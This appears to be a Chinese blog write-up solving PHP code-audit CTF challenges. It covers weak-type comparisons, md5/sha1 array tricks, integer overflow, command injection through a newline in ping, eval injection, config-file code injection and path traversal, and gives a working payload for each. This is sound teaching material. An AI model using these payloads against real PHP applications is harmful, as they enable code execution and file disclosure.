今天开始做p神推荐的Code-Audit-Challenges

弱类型比较

PHP

challenge-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
show_source(__FILE__);
$flag = "xxxx";
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
?>
  • is_numeric()用于检测变量是否为数字或数字字符串,像3e123或者0x123这样的字符串都会返回True
  • 当3e123这样的字符串强制转换成int时会变成3
    1
    echo (int)'3e123'; # 输出3
  • 因此需要一个指数形式的字符串,范围在606024302和606024303之间
    1
    ?time=6e6
    等待6秒后即可拿到flag

challenge-7

代码漏了点东西,修改了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$output = "";
if (isset($_GET['code'])) {
$content = file_get_contents(__FILE__);
$content = preg_replace('/FLAG\-[0-9a-zA-Z_?!.,]+/i', 'FLAG-XXXXXXXXXXXXXXXXXXXXXXX', $content);
echo '<div class="code-highlight">';
highlight_string($content);
echo '</div>';
}
if (isset($_GET['pass'])) {
if(!preg_match('/^[^\W_]+$/', $_GET['pass'])) {
$output = "Don't hack me please :(";
} else {
$pass = md5("admin1674227342");
if ((((((((($_GET['pass'] == $pass)))) && (((($pass !== $_GET['pass']))))) || ((((($pass == $_GET['pass'])))) && ((($_GET['pass'] !== $pass)))))))) { // Trolling u lisp masta
if (strlen($pass) == strlen($_GET['pass'])) {
$output = "<div class='alert alert-success'>FLAG-abcdefg</div>";
} else {
$output = "<div class='alert alert-danger'>Wrong password</div>";
}
} else {
$output = "<div class='alert alert-danger'>Wrong password</div>";
}
}
echo $output;
}
?>
  • md5(admin1674227342)为0e463854177790028825434984462555,可以当成指数来看
  • 因此传入一个0e开头,位数相同的字符串即可,比如0e463854177790028825434984462550

challenge-10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>

需要满足以下几个条件:

  1. 传入$_GET[‘id’]并且$id==0
  2. $data==”1112 is a nice lab!”
  3. strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4)

绕过方法:

  • 利用php中非0都为真的特性和弱类型转换的特性即可绕过
    1
    id=a
  • 利用php伪协议php://input
    1
    2
    a=php://input
    post: 1112 is a nice lab!
  • 可以将b设为%00111111,这样strlen不会发生截断,substr($b,0,1)为NULL,eregi(“111”,”1114”)匹配成功

challenge-13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
  • payload
    1
    ?foo={"bar1":"2017aaa","bar2":[[1,2],2,3,4,5],"a2":["nudt"]}&cat[0]=ahtctf2016&cat[1][]=201612&dog=%00
  • Code-Audit-Challenges的wp很详细了,就先不分析了

challenge-15

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
  • 利用sha1传入数组会返回NULL
    1
    ?name[]=123&password[]=456

challenge-21

1
2
3
4
5
6
<?php
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='$filename'");
readfile("uploads/$filename");
  • 目标是读取当前目录下的file_list.php
  • 利用弱类型比较和一个php目录穿越的一个trick(先进入一个不存在的文件夹,然后再用../跳回来)
    1
    ?f=file_list/../../file_list.php

    challenge-26

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <?php
    $flag = "xxx";
    if (isset($_POST['answer'])){
    $number = $_POST['answer'];
    if (noother_says_correct($number)){
    echo $flag;
    } else {
    echo "Sorry";
    }
    }

    function noother_says_correct($number)
    {
    $one = ord('1');
    $nine = ord('9');
    # Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    {
    # Disallow all the digits!
    $digit = ord($number{$i});
    if ( ($digit >= $one) && ($digit <= $nine) )
    {
    # Aha, digit not allowed!
    return false;
    }
    }
    # Allow the magic number ...
    return $number == "3735929054";
    }
    ?>
  • 可以发现3735929054的16进制形式是deadc0de,不包含1-9,因此输入一个0xdeadc0de即可
  • 需要注意的是,php7取消了16进制转换的特性,因此这题只能在php5的环境里做

challenge-64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php	
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
if(@file_get_contents($k1)==="Hello hacker!"){
echo 'welcome! Hacker!<br>';
if(md5($k2)>666666*666666)
{
include('ctf.php');
@$k3=$_GET['key3'];
@$k4=$_GET['key4'];
if(intval($k3)<666)
{
if($k3==666)
{
echo 'Come on, flag is coming<br>';
if($k4>0)
{
if(intval($k3+$k4)<666)
echo $flag;
}
}
}else{
exit();
}
}else{
exit();
}
}else{
exit();
}

?>
  • 最后的payload
    1
    2
    ?key1=php://input&key2=erewr&key3=0x29a&key4=9999999999999999999999999999
    post: Hello hacker!
  • k1-k3就不写了,记录下k4这个点:
  1. intval()是有范围限制的

    最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807

  2. php中如果一个整数过大,则会将其转为浮点数

    如果给定的一个数超出了 integer 的范围,将会被解释为 float。同样如果执行的运算结果超出了 integer 范围,也会返回 float。

1
2
3
4
5
6
7
8
9
10
11
12
//32位系统下的溢出
<?php
$large_number = 2147483647;
var_dump($large_number); // int(2147483647)

$large_number = 2147483648;
var_dump($large_number); // float(2147483648)

$million = 1000000;
$large_number = 50000 * $million;
var_dump($large_number); // float(50000000000)
?>
  1. 而这时如果把这个超大的浮点数转换为整数,则会返回未定义的值

    当从浮点数转换成整数时,将向下取整。
    如果浮点数超出了整数范围(32 位平台下通常为 +/- 2.15e+9 = 2^31,64 位平台下,除了 Windows,通常为 +/- 9.22e+18 = 2^63),则结果为未定义,因为没有足够的精度给出一个确切的整数结果。在此情况下没有警告,甚至没有任何通知

测试发现在我的环境下会返回一个0

  • 综合利用以上三点,将$k4设为一个很大的值,$k3+$k4会转换为一个浮点数,然后intval会将这个浮点数转为整形,从而发生溢出返回一个0,拿到flag

命令执行

PHP

challenge-6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
  • 使用%0a即可执行多条命令
    1
    ip=127.0.0.1%0awhoami

challenge-12

1
2
3
4
5
6
<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");
  • ?hello=’xxx’);phpinfo();// 或 ?hello=xxx);phpinfo();// 皆可

其他

PHP

challenge-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

/*******************************************************************
* PHP Challenge 2015
*******************************************************************
* Why leave all the fun to the XSS crowd?
*
* Do you know PHP?
* And are you up to date with all its latest peculiarities?
*
* Are you sure?
*
* If you believe you do then solve this challenge and create an
* input that will make the following code believe you are the ADMIN.
* Becoming any other user is not good enough, but a first step.
*
* Attention this code is installed on a Mac OS X 10.9 system
* that is running PHP 5.4.30 !!!
*
* TIPS: OS X is mentioned because OS X never runs latest PHP
* Challenge will not work with latest PHP
* Also challenge will only work on 64bit systems
* To solve challenge you need to combine what a normal
* attacker would do when he sees this code with knowledge
* about latest known PHP quirks
* And you cannot bruteforce the admin password directly.
* To give you an idea - first half is:
* orewgfpeowöfgphewoöfeiuwgöpuerhjwfiuvuger
*
* If you know the answer please submit it to info@sektioneins.de
********************************************************************/

$users = array(
"0:9b5c3d2b64b8f74e56edec71462bd97a" ,
"1:4eb5fb1501102508a86971773849d266",
"2:facabd94d57fc9f1e655ef9ce891e86e",
"3:ce3924f011fe323df3a6a95222b0c909",
"4:7f6618422e6a7ca2e939bd83abde402c",
"5:06e2b745f3124f7d670f78eabaa94809",
"6:8e39a6e40900bb0824a8e150c0d0d59f",
"7:d035e1a80bbb377ce1edce42728849f2",
"8:0927d64a71a9d0078c274fc5f4f10821",
"9:e2e23d64a642ee82c7a270c6c76df142",
"10:70298593dd7ada576aff61b6750b9118"
);

$valid_user = false;

$input = $_COOKIE['user'];
$input[1] = md5($input[1]);

foreach ($users as $user)
{
$user = explode(":", $user);
if ($input === $user) {
$uid = $input[0] + 0;
$valid_user = true;
}
}

if (!$valid_user) {
die("not a valid user\n");
}

if ($uid == 0) {

echo "Hello Admin How can I serve you today?\n";
echo "SECRETS ....\n";

} else {
echo "Welcome back user\n";
}
  • 作者的wp已经很详细了,这题就先不分析了
  • 最后的payload
    1
    Cookie: user[4294967296]=5; user[1]=hund
  • 有一个要注意的是作者只说了

    challenge will only work on 64bit systems

但实际上php也必须是64位的才行,32位php的数组键值不能是这么大的数,因此user[4294967296]会变为user[‘4294967296’]

chanllenge-3

  • index.php

    1
    2
    3
    4
    5
    <?php
    $str = addslashes($_GET['option']);
    $file = file_get_contents('xxxxx/option.php');
    $file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
    file_put_contents('xxxxx/option.php', $file);
  • option.php

    1
    2
    3
    <?php
    $option='';
    ?>
  • 这题的场景是配置文件写入

    解法1

  • preg_replace没有使用m修饰符,因此只会匹配单行

    m (PCRE_MULTILINE)
    默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), “行首”元字符 (^) 仅匹配字符串的开始位置, 而”行末”元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 “\n” 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响

  • 利用这一点,注入一个换行符

    1
    ?option=123';%0a phpinfo();//
  • 这时option.php变为

    1
    2
    3
    4
    <?php
    $option='123\';
    phpinfo();//';
    ?>
  • 将转义字符\去掉

    1
    ?option=123

    这时option.php变为

    1
    2
    3
    4
    <?php
    $option='123';
    phpinfo();//';
    ?>

    解法二

  • php文档中preg_replace部分有以下内容:

    如果要在replacement 中使用反斜线,必须使用4个(“\\\\“,译注:因为这首先是php的字符串,经过转义后,是两个,再经过正则表达式引擎后才被认为是一个原文反斜线)。

其中replacement是第二个参数

  • 因此$str中如果存在\\的话会被当成\,可以利用这个\去转义addslashes添加的\
    1
    ?option=123\';phpinfo();//

challenge-5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++ ) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}